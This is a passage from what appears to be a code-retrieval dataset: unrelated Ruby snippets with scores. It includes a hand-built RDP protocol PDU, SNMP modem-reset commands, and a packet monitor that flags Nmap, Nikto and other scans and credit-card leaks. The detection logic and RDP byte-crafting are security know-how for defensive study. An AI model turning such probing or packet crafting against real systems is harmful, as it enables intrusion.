capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET\n \"\\x18\\x00\" + # lengthCapability: 24\n \"\\x01\\x00\\x03\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x1d\\x04\\x00\\x00\\x00\\x00\" +\n \"\\x00\\x00\\x00\\x00\" +\n \"\\x02\\x00\" + # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET\n \"\\x1c\\x00\" + # lengthCapability: 28\n \"\\x20\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x80\\x07\\x38\\x04\\x00\\x00\\x01\\x00\" +\n \"\\x01\\x00\\x00\\x1a\\x01\\x00\\x00\\x00\" +\n \"\\x03\\x00\" + # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET\n \"\\x58\\x00\" + # lengthCapability: 88\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n \"\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xaa\\x00\" +\n \"\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x01\\x01\\x01\\x00\\x01\\x00\\x00\\x00\\x01\" +\n \"\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\" +\n \"\\xa1\\x06\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\x03\\x00\\x00\\x00\\x00\\x00\" +\n \"\\xe4\\x04\\x00\\x00\\x13\\x00\\x28\\x00\\x03\\x00\\x00\\x03\\x78\\x00\\x00\\x00\" +\n \"\\x78\\x00\\x00\\x00\\xfc\\x09\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n \"\\x0a\\x00\" + # capabilitySetType: 10 - ??\n \"\\x08\\x00\" + # lengthCapability: 8\n \"\\x06\\x00\\x00\\x00\" +\n \"\\x07\\x00\" + # capabilitySetType: 7 - TSWINDOWACTIVATION_CAPABILITYSET\n \"\\x0c\\x00\" + # lengthCapability: 12\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n \"\\x05\\x00\" + # capabilitySetType: 5 - TS_CONTROL_CAPABILITYSET\n \"\\x0c\\x00\" + # lengthCapability: 12\n \"\\x00\\x00\\x00\\x00\\x02\\x00\\x02\\x00\" +\n \"\\x08\\x00\" + # capabilitySetType: 8 - TS_POINTER_CAPABILITYSET\n \"\\x0a\\x00\" + # lengthCapability: 10\n \"\\x01\\x00\\x14\\x00\\x15\\x00\" +\n \"\\x09\\x00\" + # capabilitySetType: 9 - TS_SHARE_CAPABILITYSET\n \"\\x08\\x00\" + # lengthCapability: 8\n \"\\x00\\x00\\x00\\x00\" +\n \"\\x0d\\x00\" + # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET\n \"\\x58\\x00\" + # lengthCapability: 88\n \"\\x91\\x00\\x20\\x00\\x09\\x04\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n \"\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n \"\\x00\\x00\\x00\\x00\" +\n \"\\x0c\\x00\" + # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET\n \"\\x08\\x00\" + # lengthCapability: 8\n \"\\x01\\x00\\x00\\x00\" +\n \"\\x0e\\x00\" + # capabilitySetType: 14 - TS_FONT_CAPABILITYSET\n \"\\x08\\x00\" + # lengthCapability: 8\n \"\\x01\\x00\\x00\\x00\" +\n \"\\x10\\x00\" + # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET\n \"\\x34\\x00\" + # lengthCapability: 52\n \"\\xfe\\x00\\x04\\x00\\xfe\\x00\\x04\\x00\\xfe\\x00\\x08\\x00\\xfe\\x00\\x08\\x00\" +\n \"\\xfe\\x00\\x10\\x00\\xfe\\x00\\x20\\x00\\xfe\\x00\\x40\\x00\\xfe\\x00\\x80\\x00\" +\n \"\\xfe\\x00\\x00\\x01\\x40\\x00\\x00\\x08\\x00\\x01\\x00\\x01\\x03\\x00\\x00\\x00\" +\n \"\\x0f\\x00\" + # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET\n \"\\x08\\x00\" + # lengthCapability: 8\n \"\\x01\\x00\\x00\\x00\" +\n \"\\x11\\x00\" + # capabilitySetType: ??\n \"\\x0c\\x00\" + # lengthCapability: 12\n \"\\x01\\x00\\x00\\x00\\x00\\x28\\x64\\x00\" +\n \"\\x14\\x00\" + # capabilitySetType: ??\n \"\\x0c\\x00\" + # lengthCapability: 12\n \"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n \"\\x15\\x00\" + # capabilitySetType: ??\n \"\\x0c\\x00\" + # lengthCapability: 12\n \"\\x02\\x00\\x00\\x00\\x00\\x0a\\x00\\x01\" +\n \"\\x1a\\x00\" + # capabilitySetType: ??\n \"\\x08\\x00\" + # lengthCapability: 8\n \"\\xaf\\x94\\x00\\x00\" +\n \"\\x1c\\x00\" + # capabilitySetType: ??\n \"\\x0c\\x00\" + # lengthCapability: 12\n \"\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n \"\\x1b\\x00\" + # capabilitySetType: ??\n \"\\x06\\x00\" + # lengthCapability: 6\n \"\\x01\\x00\" +\n \"\\x1e\\x00\" + # capabilitySetType: ??\n \"\\x08\\x00\" + # lengthCapability: 8\n \"\\x01\\x00\\x00\\x00\" +\n \"\\x18\\x00\" + # capabilitySetType: ??\n \"\\x0b\\x00\" + # lengthCapability: 11\n \"\\x02\\x00\\x00\\x00\\x03\\x0c\\x00\" +\n \"\\x1d\\x00\" + # capabilitySetType: ??\n \"\\x5f\\x00\" + # lengthCapability: 95\n \"\\x02\\xb9\\x1b\\x8d\\xca\\x0f\\x00\\x4f\\x15\\x58\\x9f\\xae\\x2d\\x1a\\x87\\xe2\" +\n \"\\xd6\\x01\\x03\\x00\\x01\\x01\\x03\\xd4\\xcc\\x44\\x27\\x8a\\x9d\\x74\\x4e\\x80\" +\n \"\\x3c\\x0e\\xcb\\xee\\xa1\\x9c\\x54\\x05\\x31\\x00\\x31\\x00\\x00\\x00\\x01\\x00\" +\n \"\\x00\\x00\\x25\\x00\\x00\\x00\\xc0\\xcb\\x08\\x00\\x00\\x00\\x01\\x00\\xc1\\xcb\" +\n \"\\x1d\\x00\\x00\\x00\\x01\\xc0\\xcf\\x02\\x00\\x08\\x00\\x00\\x01\\x40\\x00\\x02\" +\n \"\\x01\\x01\\x01\\x00\\x01\\x40\\x00\\x02\\x01\\x01\\x04\"\n\n ## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU\n return(rdp_build_share_control_header(0x13, pdu))\n end", "title": "" }, { "docid": "13f40f75fb63df5918973c02b2726f79", "score": "0.4809288", "text": "def test_t1c_h_returns_the_value_from_memory\n @memory.set_byte(0x9110 + Vic20::VIA::T1C_H, 0x1e)\n assert_equal(0x1e, @via.ir[Vic20::VIA::T1C_H])\n end", "title": "" }, { "docid": "dbd83561f787eb8413215db59fa3df3b", "score": "0.4808973", "text": "def get_chibi_master_address\n send_request(FUNCTION_GET_CHIBI_MASTER_ADDRESS, [], '', 1, 'C')\n end", "title": "" }, { "docid": "13583555c0a510f6d1ee87693eb445f4", "score": "0.48013565", "text": "def print_dtm_232_segment\n dtm_232_element_methods = @segments_list[:DTM_232]\n dtm_232_elements = verify_dtm_232_condition{\n [\n send(dtm_232_element_methods[:DTM_23200][0].to_sym, dtm_232_element_methods[:DTM_23200][1]), #['segment_name', 'DTM']\n send(dtm_232_element_methods[:DTM_23201][0].to_sym, dtm_232_element_methods[:DTM_23201][1].to_s), #['print_constant', '232']\n send(dtm_232_element_methods[:DTM_23202][0].to_sym, dtm_232_element_methods[:DTM_23202][1]) #claim_statement_period_start\n ]\n }\n dtm_232_elements.flatten.trim_segment.join(@facility_level_details[:element_separator])\n end", "title": "" }, { "docid": "a08147771ed016ba834e8fa6cee84768", "score": "0.47964367", "text": "def global_cc; Minuit.errs(@id)[3]; end", "title": "" }, { "docid": "13e57dbd8386f01506eead8c9b6bc2cc", "score": "0.47881815", "text": "def print_dtm_151_segment\n dtm_151_element_methods = @segments_list[:DTM_151]\n dtm_151_elements = verify_dtm_151_condition{\n [\n send(dtm_151_element_methods[:DTM_15100][0].to_sym, dtm_151_element_methods[:DTM_15100][1]), #['segment_name', 'DTM']\n send(dtm_151_element_methods[:DTM_15101][0].to_sym, dtm_151_element_methods[:DTM_15101][1].to_s), #['print_constant', '151']\n send(dtm_151_element_methods[:DTM_15102][0].to_sym, dtm_151_element_methods[:DTM_15102][1]) #coverage_amount\n ]\n }\n dtm_151_elements.flatten.trim_segment.join(@facility_level_details[:element_separator])\n end", "title": "" }, { "docid": "c016a45b9384fa819186f446b34416ed", "score": "0.47857627", "text": "def print_nm1_pr_segment\n nm1_pr_element_methods = @segments_list[:NM1_PR]\n nm1_pr_elements = verify_nm1_pr_condition{\n [\n send(nm1_pr_element_methods[:NM1_PR00][0].to_sym, nm1_pr_element_methods[:NM1_PR00][1]), #['segment_name', 'NM1']\n send(nm1_pr_element_methods[:NM1_PR01][0].to_sym, nm1_pr_element_methods[:NM1_PR01][1]), #['print_constant', 'PR']\n send(nm1_pr_element_methods[:NM1_PR02][0].to_sym, nm1_pr_element_methods[:NM1_PR02][1]), #['print_constant', '2']\n send(nm1_pr_element_methods[:NM1_PR03][0].to_sym, nm1_pr_element_methods[:NM1_PR03][1]) #corrected_priority_payer_name\n ]\n }\n nm1_pr_elements.flatten.trim_segment.join(@facility_level_details[:element_separator])\n end", "title": "" }, { "docid": "f5bc87de2a6f66ccf0077df679a9cd82", "score": "0.4780066", "text": "def pdu_client_confirm_active\n pdu =\n \"\\xea\\x03\\x01\\x00\" + # shareId: 66538\n \"\\xea\\x03\" + # originatorId\n \"\\x06\\x00\" + # lengthSourceDescriptor: 6\n \"\\x8e\\x01\" + # lengthCombinedCapabilities: 398\n \"\\x4d\\x53\\x54\\x53\\x43\\x00\" + # SourceDescriptor: 'MSTSC'\n \"\\x0e\\x00\" + # numberCapabilities: 14\n \"\\x00\\x00\" + # pad2Octets\n \"\\x01\\x00\" + # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET\n \"\\x18\\x00\" + # lengthCapability: 24\n \"\\x01\\x00\\x03\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x0d\\x04\\x00\\x00\\x00\\x00\" + #\n \"\\x00\\x00\\x00\\x00\" + #\n \"\\x02\\x00\" + # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET\n \"\\x1c\\x00\" + # lengthCapability: 28\n \"\\x10\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x20\\x03\\x58\\x02\\x00\\x00\\x01\\x00\" + #\n \"\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\" + #\n \"\\x03\\x00\" + # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET\n \"\\x58\\x00\" + # lengthCapability: 88\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + #\n \"\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x47\\x01\\x2a\\x00\" + #\n \"\\x01\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x00\" + #\n \"\\x00\\x00\\x00\\x00\\x01\\x01\\x01\\x00\\x00\\x01\\x01\\x01\\x00\\x00\\x00\\x00\" + #\n \"\\xa1\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\x03\\x00\\x00\\x00\\x00\\x00\" + #\n \"\\xe4\\x04\\x00\\x00\\x13\\x00\\x28\\x00\\x00\\x00\\x00\\x03\\x78\\x00\\x00\\x00\" + #\n \"\\x78\\x00\\x00\\x00\\x50\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + #\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + #\n \"\\x08\\x00\" + # capabilitySetType: 8 - TS_POINTER_CAPABILITYSET\n \"\\x0a\\x00\" + # lengthCapability: 10\n \"\\x01\\x00\\x14\\x00\\x14\\x00\" + #\n \"\\x0a\\x00\" + # capabilitySetType: 10 - TS_COLORTABLE_CAPABILITYSET\n \"\\x08\\x00\" + # lengthCapability: 8\n \"\\x06\\x00\\x00\\x00\" + #\n \"\\x07\\x00\" + # capabilitySetType: 7 - TSWINDOWACTIVATION_CAPABILITYSET\n \"\\x0c\\x00\" + # lengthCapability: 12\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + #\n \"\\x05\\x00\" + # capabilitySetType: 5 - TS_CONTROL_CAPABILITYSET\n \"\\x0c\\x00\" + # lengthCapability: 12\n \"\\x00\\x00\\x00\\x00\\x02\\x00\\x02\\x00\" + #\n \"\\x09\\x00\" + # capabilitySetType: 9 - TS_SHARE_CAPABILITYSET\n \"\\x08\\x00\" + # lengthCapability: 8\n \"\\x00\\x00\\x00\\x00\" + #\n \"\\x0f\\x00\" + # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET\n \"\\x08\\x00\" + # lengthCapability: 8\n \"\\x01\\x00\\x00\\x00\" + #\n \"\\x0d\\x00\" + # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET\n \"\\x58\\x00\" + # lengthCapability: 88\n \"\\x01\\x00\\x00\\x00\\x09\\x04\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + #\n \"\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + #\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + #\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + #\n \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + #\n \"\\x00\\x00\\x00\\x00\" + #\n \"\\x0c\\x00\" + # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET\n \"\\x08\\x00\" + # lengthCapability: 8\n \"\\x01\\x00\\x00\\x00\" + #\n \"\\x0e\\x00\" + # capabilitySetType: 14 - TS_FONT_CAPABILITYSET\n \"\\x08\\x00\" + # lengthCapability: 8\n \"\\x01\\x00\\x00\\x00\" + #\n \"\\x10\\x00\" + # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET\n \"\\x34\\x00\" + # lengthCapability: 52\n \"\\xfe\\x00\\x04\\x00\\xfe\\x00\\x04\\x00\\xfe\\x00\\x08\\x00\\xfe\\x00\\x08\\x00\" + #\n \"\\xfe\\x00\\x10\\x00\\xfe\\x00\\x20\\x00\\xfe\\x00\\x40\\x00\\xfe\\x00\\x80\\x00\" + #\n \"\\xfe\\x00\\x00\\x01\\x40\\x00\\x00\\x08\\x00\\x01\\x00\\x01\\x02\\x00\\x00\\x00\"\n\n # type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU\n build_share_control_header(0x13, pdu)\n end", "title": "" }, { "docid": "65818c4f71030b99a7bfcc736c3df2f6", "score": "0.47773543", "text": "def internal_id; Minuit.pout(@id)[5]; end", "title": "" }, { "docid": "651c939115eb9143d1c075e286b357e4", "score": "0.47648826", "text": "def display_incident(type, line)\n $INCIDENTNUM += 1\n str = \"#{$INCIDENTNUM}. ALERT: #{type} is detected from #{get_ip(line)} \"\\\n \"(#{get_protocol(line)}) (#{get_payload(line)})!\"\n puts str\nend", "title": "" }, { "docid": "6d378707f8e67c1cf5ac2666beb1f09e", "score": "0.47614443", "text": "def report\n if data[:ping].nil? || data[:unit].nil?\n @fails += 1\n if @fails >= @config[:alert_after]\n alarm \"Miner #{num} did not respond to status query\", :failure\n end\n else\n @fails = 0\n @last_restart ||= restart_time\n\n # Detect Miner reset correctly\n if (restart_time - @last_restart) > 20\n @last_restart = restart_time\n self[:rst] = (self[:rst] || 0) + 1\n alarm \"Miner #{num} restarted\", :restart\n elsif unit_hash == 0 && last == 'never' && temp == 0\n alarm \"Miner #{num} is stuck in error state!!!\", :failure\n elsif upminutes > 5 # Miner settled down\n if unit_hash < @min_mhs\n alarm \"Miner #{num} performance is #{unit_hash}, should be #{@min_mhs}\", :perf_low\n elsif last == 'never' || last > @config[:alert_last_share]\n alarm \"Miner #{num} last shares was #{last} min ago\", :last_share\n elsif temp && temp >= @config[:alert_temp_high]\n alarm \"Miner #{num} too hot at #{temp}°C, needs cooling\", :temp_high\n elsif self[:freq] && temp && temp <= @config[:alert_temp_low]\n alarm \"Miner #{num} temp low at #{temp}°C, is it hashing at all?\", :temp_low\n end\n end\n end\n end", "title": "" }, { "docid": "ce203b95a1764a376a0eb75979a2dc05", "score": "0.47586745", "text": "def rpmdiff_ack_waivers(comment)\n headers[COMPONENT_HEADER] = 'RPMDIFF'\n headers[ACTION_HEADER] = 'ACK-UPDATE'\n mail_with_comment(comment,'RPMDiff waiver status updated')\n end", "title": "" }, { "docid": "3818eb536dad82907b18504e12ba8322", "score": "0.47509268", "text": "def scsi_target_iqn(uuid)\n adapters = host.configManager.storageSystem.storageDeviceInfo.scsiTopology.adapter\n required_adapter_hash = nil\n found = 0\n iscsi_name = nil\n\n target_iqn = resource[:target_iqn]\n luntype = 'fc'\n if target_iqn =~ /^iqn/\n luntype = 'iscsi'\n end\n luntype = luntype.to_s\n Puppet.notice \"luntype : #{luntype}\"\n adapters.collect{|adapter|\n adapter.target.collect{|target|\n target.lun.collect{|lun|\n if lun.key =~ /#{uuid}/\n\n # fc.5000d310005ec401:5000d310005ec437\n if luntype.eql?('iscsi')\n # Added the following check to make sure 'iScsiName' exists as part of each disk HostTargetTransport data object.\n # Here , 'iScsiName' is instance variable of HostInternetScsiTargetTransport data object for given iScsi disk.\n if (defined?(target.transport.iScsiName))\n iscsi_name = target.transport.iScsiName\n else\n next\n end\n else\n nwwn_decimal = target.transport.nodeWorldWideName #nwwn in decimal format\n nwwn_hexadecimal = nwwn_decimal.to_s(16) #nwwn in decimal hexadecimal format\n\n pwwn_decimal = target.transport.portWorldWideName #pwwn in decimal format\n pwwn_hexadecimal = pwwn_decimal.to_s(16) #pwwn in decimal hexadecimal format\n iscsi_name = \"fc.#{nwwn_hexadecimal}:#{pwwn_hexadecimal}\"\n end\n\n found = 1\n break\n end\n\n }\n if found.eql?(1)\n break\n end\n }\n if found.eql?(1)\n break\n end\n }\n iscsi_name unless iscsi_name.nil?\n end", "title": "" }, { "docid": "676b43d198f654d7b370972953f982dd", "score": "0.47365293", "text": "def GetDevice()\n manager = Client.new(:host => @host,:community => 'security',:version => :SNMPv1)\n oid = \"1.3.6.1.2.1.1.1.0\"\n value = manager.get(oid: oid)\n return value\nend", "title": "" }, { "docid": "746887354d313d659d85b9067b2e52fa", "score": "0.47303423", "text": "def show\n response = get_resource(RESOURCE, params[:id])\n if response.success?\n @device = Fhir::Device.parse_ehmbr(response.body)\n else\n send_operation_outcome(response)\n end\n end", "title": "" }, { "docid": "cbfd86a412fae590436e64fec1b1bf73", "score": "0.4721286", "text": "def show\n @sel_id = CriticalWatch.get_sel_id params[:id]\n @response_critical_watch_detail = invoke_webservice method: 'get', class: 'custInv/',\n action: 'criticalWatchAction',\n query_string: { custNo: current_user,\n action: \"I\",\n selId: @sel_id }\n if @response_critical_watch_detail\n if @response_critical_watch_detail[0][\"errCode\"] != \"\"\n flash.now[:notice] = @response_critical_watch_detail[0][\"errMsg\"]\n end\n else\n flash.now[:notice] = I18n.translate(\"service_unavailable\",:scope => \"rma.error\")\n end\n render :show\n end", "title": "" }, { "docid": "5570a0aae7f3b92b381fc848f71d3cf6", "score": "0.47180307", "text": "def getSCMDetail(mac)\n\n ld(\"getSCMDetail(): #{mac}\")\n _mac = mac.gsub(/\\./,'')\n ld(_mac)\n vendor = open(\"http://www.macvendorlookup.com/api/CxBwITz/#{_mac}\").read\n vendor_company = JSON.parse(vendor)[0][\"company\"]\n\n ld(\"Reteiving Vendor information\")\n #vendor = open(\"http://api.macvendors.com/#{_mac}\").read\n #vendor_company = vendor\n ld(\"Vendor: #{vendor_company}\")\n\n result = [\"Modem Vendor:#{vendor_company}\"]\n ld(result)\n _mac = formatC3Mac(mac)\n\n result2 = ''\n\n # Get list\n @base.cmd(\"show cable modem #{_mac} detail\") { |c| result2 += c }\n\n # Move result into array\n a = result2.split(\"\\n\")\n\n # Remove any ending space char\n a.map! {|x| x.gsub(/\\s$/,'')}\n a.delete_if {|x| x == \"show cable modem #{_mac} detail\" || x.blank?}\n\n # Remove column footer\n a.pop\n a.pop\n\n results = result + a\n\n end", "title": "" }, { "docid": "65e72984af700bece9b0b04cbce364e8", "score": "0.47070807", "text": "def process_host(host_name, ipmi_ip)\n if host_name == nil\n return 0 #No temperature\n else\n begin\n ifTable_columns = [ TEMPERATURE ] #should have a trailing .1, but returns nothing if we do?\n SNMP::Manager.open(:Host => ipmi_ip, :Community => \"#{@snmp_community}\", :Version => :SNMPv2c) do |manager|\n return get(manager, ifTable_columns) #The temperature\n end\n rescue SignalException => message\n $stderr.print \"#{Signal} #{message}\\n\"\n exit -1\n rescue Exception => message\n $stderr.print \"#{host_name} #{message}\\n\"\n return 0 #No temperature.\n end\n end\n end", "title": "" }, { "docid": "10862f65d7ecee4d528d2e308c62e86c", "score": "0.4697067", "text": "def resetmodemcounters\n if (session[:admin])\n if (params[:target] == 'all')\n modems = ModemSweepCache::DATA\n modems.each do |cm|\n ld(\"snmpset -v1 -c private #{cm[3]} 1.3.6.1.2.1.69.1.1.3.0 i 1\")\n `snmpset -v1 -c private #{cm[3]} 1.3.6.1.2.1.69.1.1.3.0 i 1`\n end\n else\n ld(\"snmpset -v1 -c private #{params[:target]} 1.3.6.1.2.1.69.1.1.3.0 i 1\")\n `snmpset -v1 -c private #{params[:target]} 1.3.6.1.2.1.69.1.1.3.0 i 1`\n end\n redirect_to report_path\n else\n render :file => \"#{Rails.root}/public/404.html\", :status => 404\n return\n end\n end", "title": "" }, { "docid": "7408b19a1c4fa95318fffed8859ceba2", "score": "0.46926472", "text": "def nmi_discovery_by_meter_serial_number(jurisdiction_code, meter_serial_number, options = {})\n raise ArgumentError, 'jurisdiction_code is not valid' unless %w[ACT NEM NSW QLD SA VIC TAS].include?(jurisdiction_code)\n\n query = {\n transactionId: transaction_id,\n jurisdictionCode: jurisdiction_code,\n meterSerialNumber: meter_serial_number.to_i\n }\n\n response = get(\"/NMIDiscovery/#{@participant_id}\", basic_auth: @auth, headers: HEADERS, query: query, verify: (options[:verify_ssl] != false))\n if response.response.code != '200'\n response\n else\n response.parsed_response['aseXML']['Transactions']['Transaction']['NMIDiscoveryResponse']['NMIStandingData']\n end\n end", "title": "" }, { "docid": "cc0a24e6910efdbeb8bf05d5153153d8", "score": "0.4689878", "text": "def print_nm1_qc_segment\n nm1_qc_element_methods = @segments_list[:NM1_QC]\n nm1_qc_elements = [\n send(nm1_qc_element_methods[:NM1_QC00][0].to_sym, nm1_qc_element_methods[:NM1_QC00][1]), #['segment_name', 'NM1']\n send(nm1_qc_element_methods[:NM1_QC01][0].to_sym, nm1_qc_element_methods[:NM1_QC01][1]), #['print_constant', 'QC']\n send(nm1_qc_element_methods[:NM1_QC02][0].to_sym, nm1_qc_element_methods[:NM1_QC02][1]), #['print_constant', '1']\n send(nm1_qc_element_methods[:NM1_QC03][0].to_sym, nm1_qc_element_methods[:NM1_QC03][1]), #patient_last_name\n send(nm1_qc_element_methods[:NM1_QC04][0].to_sym, nm1_qc_element_methods[:NM1_QC04][1]), #patient_first_name\n send(nm1_qc_element_methods[:NM1_QC05][0].to_sym, nm1_qc_element_methods[:NM1_QC05][1]), #patient_middle_name_or_initial\n send(nm1_qc_element_methods[:NM1_QC06][0].to_sym, nm1_qc_element_methods[:NM1_QC06][1]), #blank_segment\n send(nm1_qc_element_methods[:NM1_QC07][0].to_sym, nm1_qc_element_methods[:NM1_QC07][1]), #patient_name_suffix\n send(nm1_qc_element_methods[:NM1_QC08][0].to_sym, nm1_qc_element_methods[:NM1_QC08][1]), #patient_identification_code_qualifier\n send(nm1_qc_element_methods[:NM1_QC09][0].to_sym, nm1_qc_element_methods[:NM1_QC09][1]) #patient_identifier\n ]\n nm1_qc_elements.flatten.trim_segment.join(@facility_level_details[:element_separator])\n end", "title": "" }, { "docid": "16de4113d0c62c0c7214969f5293d3f3", "score": "0.46795046", "text": "def notify_fault(no_disk, no_ip)\n add_remove_tags_by_hash(no_disk: no_disk, no_ip: no_ip)\n return unless no_disk || no_ip\n days_since_creation = ((Time.now - created_at) / 1.day).floor\n last_warning_threshold = case fault_reported_at\n when nil then 1\n else ((Time.now - fault_reported_at) / REPORT_FAULTY_VM_EVERY).floor\n end\n if days_since_creation >= 1 && last_warning_threshold >= 1\n AdminMailer.notify_faulty_server(self, no_disk, no_ip).deliver_now\n update_attribute :fault_reported_at, Time.now\n create_activity :faulty_server_report, owner: user, params: { no_disk: no_disk, no_ip: no_ip}\n end\n end", "title": "" }, { "docid": "3690f1730c987e39a9890177cd857e30", "score": "0.46762502", "text": "def getSerialNumber ()\n return readValue(\"rPDUIdentSerialNumber.0\")\n end", "title": "" }, { "docid": "b791e92f6063735ac5acfff0c021b6c8", "score": "0.4670964", "text": "def send_RD()\n cmd = \"\\x020130000RD\"\n result = make_cmdstr(cmd)\n return (result[11,16].unpack(\"SESSS\"))\n end", "title": "" }, { "docid": "9d9724bb3236fb3a27310580d06a3368", "score": "0.46703994", "text": "def getSCMSum()\n\n # Interface Total Offline Unregistered Rejected Registered\n #\n # \"CA1/0/U0.0 32 0 3 0 29\"\n # \"CA1/0/U1.0 34 0 0 0 34\"\n # \"CA1/0/U2.0 30 0 2 0 28\"\n # \"CA1/0/U3.0 31 0 0 0 31\"\n # \"CA1/0/U4.0 0 0 0 0 0\"\n # \"CA1/0/U5.0 0 0 0 0 0\"\n # \"Cable1/0 127 0 5 0 122\"\n\n ld(\"getSCMSum()\")\n\n result = ''\n\n # Get list\n @base.cmd(\"show cable modem sum\") { |c| result += c }\n\n # Move result into array\n a = result.split(\"\\n\")\n\n # Log result\n # a.each {|e| ld(e.gsub!(/\\r/,''))}\n\n 4.times do\n a.shift\n end\n a.pop\n\n result = []\n a.each do |l|\n l.gsub!(/\\s+\\r/,'')\n re = /^(.{10})\\s+(\\d+)\\s+(\\d+)\\s+(\\d+)\\s+(\\d+)\\s+(\\d+$)/\n m = l.match re\n result.push({:int => m[1], :total => m[2], :offline => m[3], :unreg => m[4], :reject => m[5], :registered => m[6]})\n end\n return result\n end", "title": "" }, { "docid": "498d7e232021e95f039fc205420cb275", "score": "0.46640626", "text": "def unit_on\n @x10module = X10module.find(params[:id])\n respond_to do |format|\n format.html { render text: \"#{@x10module.unit_code} ON\"}\n format.json { render head :no_content }\n end\n end", "title": "" }, { "docid": "0498c02cac1edb409755aad6424a90fb", "score": "0.4653172", "text": "def get_uuid(device)\n Chef::Log.info(\"Getting uuid for device: #{device}\")\n fs_check = Mixlib::ShellOut.new(\"blkid -c /dev/null #{device}\")\n fs_check.run_command\n match = fs_check.stdout.match(/\\sUUID=\"(.*?)\"/)\n match = '' if match.nil?\n Chef::Log.info(\"uuid for device: #{device} is #{match[1]}\")\n match[1]\nend", "title": "" }, { "docid": "0498c02cac1edb409755aad6424a90fb", "score": "0.4653172", "text": "def get_uuid(device)\n Chef::Log.info(\"Getting uuid for device: #{device}\")\n fs_check = Mixlib::ShellOut.new(\"blkid -c /dev/null #{device}\")\n fs_check.run_command\n match = fs_check.stdout.match(/\\sUUID=\"(.*?)\"/)\n match = '' if match.nil?\n Chef::Log.info(\"uuid for device: #{device} is #{match[1]}\")\n match[1]\nend", "title": "" }, { "docid": "f46c7f845063574c35a9ddabdd5e1fa7", "score": "0.46528023", "text": "def report_packet_incidents(pkt, inc_num)\n orig_inc_num = inc_num\n\n if is_xmas_scan?(pkt)\n print_pkt_incident(pkt, \"X-Mas Scan\", inc_num)\n inc_num += 1\n end\n\n if is_null_scan?(pkt)\n print_pkt_incident(pkt, \"NULL Scan\", inc_num)\n inc_num += 1\n end\n\n if is_fin_scan?(pkt)\n print_pkt_incident(pkt, \"FIN Scan\", inc_num)\n inc_num += 1\n end\n\n if orig_inc_num == inc_num and is_nmap_scan?(pkt.payload)\n print_pkt_incident(pkt, \"Other Nmap Scan\", inc_num)\n inc_num += 1\n end\n\n if is_nikto_scan?(pkt.payload)\n print_pkt_incident(pkt, \"Nikto Scan\", inc_num)\n inc_num += 1\n end\n \n if is_credit_card_leak?(pkt)\n print_pkt_incident(pkt, \"Credit card leak\", inc_num)\n inc_num += 1\n end\n \n return inc_num\nend", "title": "" }, { "docid": "d1d9f6ef098f3cf7cfb6b5292d4342ae", "score": "0.4647515", "text": 